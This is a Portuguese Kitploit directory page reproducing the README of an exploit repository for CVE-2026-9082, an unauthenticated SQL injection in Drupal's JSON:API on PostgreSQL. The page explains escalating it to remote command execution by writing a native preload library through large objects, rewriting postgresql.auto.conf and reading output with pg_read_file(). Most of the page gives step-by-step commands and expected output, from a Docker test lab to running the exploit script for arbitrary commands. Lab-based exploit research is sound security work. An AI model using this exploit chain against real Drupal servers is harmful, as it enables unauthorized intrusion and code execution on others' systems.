Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-9082-drupal-postgresql-rce — Exploit para CVE-2026-9082, uma injeção SQL no Drupal JSON:API PostgreSQL que escala para RCE via biblioteca de pré-carregamento, com laboratório local para testes. | Kitploit
Ferramentas/GitHubGitHub/ambionics/cve-2026-9082-drupal-postgresql-rce
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsSegurança de Banco de DadosExploração de Binários
Labs e Prática
GitHubambionics/cve-2026-9082-drupal-postgresql-rce

cve-2026-9082-drupal-postgresql-rce

Exploit para CVE-2026-9082, uma injeção SQL no Drupal JSON:API PostgreSQL que escala para RCE via biblioteca de pré-carregamento, com laboratório local para testes.

Ver Repositório
117há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-9082 Drupal PostgreSQL SQLi para RCE

Este repositório contém um laboratório local e um exploit curto para a injeção SQL PostgreSQL JSON:API do Drupal descrita no artigo da Ambionics.

A parte importante do exploit é a escalada no PostgreSQL: uma vez que a injeção pode avaliar uma expressão SELECT como superusuário do PostgreSQL, ele escreve uma biblioteca nativa de pré-carregamento através de large objects, recarrega postgresql.auto.conf, dispara session_preload_libraries e recupera a saída do comando com pg_read_file().

O exploit primeiro lê version() e constrói o bloco mágico do módulo PostgreSQL para a versão principal detectada. Ele lida com os layouts ABI dos módulos do PostgreSQL 12, 13-14, 15-17 e 18+. O compilador local ainda deve produzir um objeto compartilhado para a mesma arquitetura de CPU do servidor PostgreSQL alvo.

O laboratório usa PostgreSQL 18.4, a versão mais recente do PostgreSQL no momento da escrita. O caminho de escalada do PostgreSQL foi testado do PostgreSQL 12.20 ao PostgreSQL 18.4.

Conteúdo

root@kitploit:~
.
├── docker-compose.yml
├── drupal/
│   ├── Dockerfile
│   ├── entrypoint.sh
│   └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md

O laboratório usa:

root@kitploit:~
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache

O Drupal está conectado ao PostgreSQL como superusuário postgres, para que a injeção SQL apenas com SELECT possa ser escalada para RCE.

Requisitos

root@kitploit:~
docker compose version
python3 --version
cc --version

Exemplo de saída:

root@kitploit:~
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0

Iniciar o laboratório

Construir e iniciar os contêineres:

root@kitploit:~
docker compose build --quiet
docker compose up -d

Saída esperada:

root@kitploit:~
Container cve9082-pg18    Started
Container cve9082-drupal  Started

Aguardar o Drupal ficar saudável:

root@kitploit:~
docker compose ps

Saída esperada:

root@kitploit:~
NAME              SERVICE   STATUS
cve9082-pg18      db        Up ... (healthy)
cve9082-drupal    drupal    Up ... (healthy)

O laboratório escuta em:

root@kitploit:~
http://127.0.0.1:8089

Verificar o laboratório

Verificar a versão do PostgreSQL:

root@kitploit:~
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'

Saída esperada:

root@kitploit:~
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit

Verificar se o JSON:API expõe o artigo semeado:

root@kitploit:~
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'

Saída esperada:

root@kitploit:~
{
    "jsonapi": {
        "version": "1.0"
    },
    "data": [
        {
            "type": "node--article"
        }
    ]
}

Instalar dependência Python

root@kitploit:~
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt

Saída esperada:

root@kitploit:~
Successfully installed requests-...

Executar o exploit

Executar id através da injeção SQL JSON:API não autenticada:

root@kitploit:~
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id

Saída esperada:

root@kitploit:~
[+] checking SQL injection context
    version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
    current_user: postgres superuser=True
    data_directory: /var/lib/postgresql/18/docker
    module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
    1400/14080 bytes
    ...
    14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
    189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

__exit=0
[+] restoring/clearing PostgreSQL preload settings
    152/152 bytes

Executar outro comando:

root@kitploit:~
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'

Saída esperada:

root@kitploit:~
[+] reading command output
Linux ... x86_64 GNU/Linux

__exit=0

Parar o laboratório

Parar contêineres, mas manter o volume do banco de dados:

root@kitploit:~
docker compose down

Parar contêineres e excluir o volume do banco de dados:

root@kitploit:~
docker compose down -v
Baixar ferramenta